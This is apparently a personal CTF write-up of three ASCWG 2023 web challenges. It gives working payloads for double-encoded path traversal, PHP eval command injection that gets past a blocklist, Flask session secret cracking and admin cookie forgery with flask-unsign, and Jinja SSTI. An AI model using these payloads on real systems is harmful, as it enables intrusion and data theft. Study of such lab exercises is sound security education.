ASCWG Qualifications 2023 (Arab Security Cyber Wargames) Web Category

Anas Ibrahim
5 min readAug 7, 2023
ASCWG 2023

Hi everyone, I’m a web pentester and I play CTFs sometimes. Recently, I participated in the Wargames 2023, where I managed to solve three challenges: one easy and two medium. Now, let me share the walkthroughs that I used to solve these challenges.

N1 (200 point)

n1

I accessed this challenge using the following link: http://34.18.3.149:9001. Upon accessing the link, I encountered only a photo. I attempted to view the page source, but I found nothing.

n1

I accessed the robots.txt file and discovered the flag path, which was /tmp/ASCWG/flag.txt.

So, I used the Param Miner extension from Burp Suite to identify a URL parameter. When I added a value to the URL parameter, it returned Noooooob hacker which made me suspect a potential vulnerability to path traversal. Since I already had the flag path, I decided to investigate further.

When I accessed the flag path /tmp/ASCWG/flag.txt as a URL parameter value as the following

http://34.18.3.149:9001/?url=/tmp/ASCWG/flag.txt

It still returned Noooooob hacker. Therefore, I decided to employ slash encoding and double encoding using Burp Suite, but it continued to return the same result. As an alternative, I utilized an online encoding tool, such as the one available at https://www.urlencoder.io . Surprisingly, the slash double encoding worked successfully.

http://34.18.3.149:9001/?url=%252Ftmp%252FASCWG%252Fflag.txt

It returned the flag successfully

N1 flag

Iniectio (300 point)

iniectio

Based on its name, which hints at Latin, it appears that the challenge may be vulnerable to command injection. When I accessed the challenge, the URL was as follows: http://34.18.3.149:8000/xchal.php i found just a photo

iniectio

I attempted to read the PHP source code by appending a tilde (~) after the name of the PHP file, like this:

http://34.18.3.149:8000/xchal.php~

And it returned the source code successfully

<?php

$dangerousFunctions = array('exec', 'shell_exec', 'popen', 'system', 'touch', 'echo', 'mv', 'cp', 'sed', 'passthru', 'proc_open', 'while', 'read ', '>', '<', 'nano', 'vi', 'vim', 'fopen', 'fgets', 'fgetc', 'file_get_contents', 'fwrite', 'file_put_contents', 'curl_exec', 'curl_multi_exec', 'parse_ini_file', 'sleep', 'rm', 'mkdir', '}', 'show_source', 'symlink', 'apache_child_terminate', 'apache_setenv', 'define_syslog_variables', 'escapeshellarg', 'escapeshellcmd', 'eval', 'pcntl_exec', 'posix_kill', 'posix_mkfifo', 'posix_setpgid', 'posix_setsid', 'posix_setuid', 'posix_uname', 'proc_close', 'proc_get_status', 'proc_nice', 'proc_terminate', 'putenv', 'register_shutdown_function', 'register_tick_function', 'ini_set', 'set_time_limit', 'set_include_path', 'header', 'mail', 'readfile', 'file_get_contents', 'file_put_contents', 'unlink', 'cat', 'tail', 'head', 'more', 'less', 'dd', 'od', 'xxd', 'tac', 'hexdump', 'file', 'awk', 'nano', 'vim', 'iconv', 'strings', 'rev', '|');

$name = $_GET['name'];
if (strlen($name) > 36) {
die ("The name is too long.");
}


foreach ($dangerousFunctions as $func) {
if (stripos($name, $func) !== false) {
die("oooooooooooh hacker !");
}
}
?>

<!DOCTYPE html>
<html>
<head>
<style>
body {
background-image: url("x.webp");
background-repeat: no-repeat;
background-size: cover;
background-position: center center;
height: 100vh;
margin: 0;
display: flex;
justify-content: center;
align-items: center;
}

@media (max-width: 768px) {
body {
background-size: contain;
}
}
</style>
</head>
<body>
<?php

$str = "echo \"<div style='position: fixed; top: 0; left: 0;'><p style='font-size: x-large; color: white;'>Hello " . $name . "!!!</p></div>\";";




eval($str);
?>
</body>
</html>

So, I discovered a GET parameter called namewith a maximum character limit of 36. The challenge had a dangerous function that blocked many functions. To bypass this restriction, I researched about using eval() for command injection and found that backticks `` should be included in my payload. Here is the modified payload I used

http://34.18.3.149:8000/xchal.php?name=";`ls -lah`;"
ls -lah

I searched for a command that could display the content of a file, excluding cat, head, and tail since they were blocked. Eventually, I came across the nl command, which allows displaying a file with line numbers, numbering all non-empty lines as the following

http://34.18.3.149:8000/xchal.php?name=";`nl flag`.php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               `;"

It returned the flag successfully

ASCWG{yeah_mrx_come_her!!!!!!!!!!!!!!!!}

Another solution

When I entered the /flag.txt endpoint in Firefox without directory fuzzing, I received a 404 Not Found error. However, when I accessed the link via Microsoft Edge, the flag was returned successfully.

Flag

That’s mean that someone renamed flag.php to flag.txt after exploiting the command injection, which allowed me to access the flag.

Father’s Light (600 point)

father’s light

Upon accessing the challenge, I found a login page with default username and password values. I thought the values were admin:password, and I was able to log in successfully as a regular user.

regular user

After receiving an error from flask/app.py when I entered an incorrect session, I searched how Flask handles sessions.

I found a tool called Flask-Unsign that can decrypt flask sessions to JSON format , so I used it as the following

flask-unsign --decode --cookie '.eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyUjI0M1KC8PMSc1OBAhCFtQDj5xGP.ZM1P1Q.5FusuIQWNng-jDJeBGn4OKRQwYE'

The result was

{'is_admin': False, 'user_id': '162', 'username': 'admin'}

I want to brute force the secret key, pass it to the tool, and modify the JSON format to set is_admin to True in order to get the encoded session.

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '.eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyUjI0M1KC8PMSc1OBAhCFtQDj5xGP.ZM1P1Q.5FusuIQWNng-jDJeBGn4OKRQwYE' --no-literal-eval

The secret key was amorlove

I modified the session to obtain the flask-encoded session.

flask-unsign --sign --cookie '{"is_admin":True,"user_id":"1","username":"admin"}' --secret 'amorlove'

The flask-encoded session

.eJyrVsosjk9Myc3MU7IqKSpN1VEqLU4tis9MUbJSMlSC8PISc1OBXIiqWgC2jxDc.ZM1guQ.HtY5zbEYC_b-tUEP4syRUHGnMjI

As shown in the following photo, I became an admin.

Admin

Upon accessing the dashboard endpoint as shown below

posts

I found that the name parameter was vulnerable to Flask SSTI, as evidenced by the execution of the payload {{7*7}} as 49, as shown in the following photo.

SSTI

After injecting the payload {{ config }} into the name parameter, the result returned the flag.

Flag

I finished explaining the 3 challenges I solved. I hope you like my writeup.

Hacking Done

--

--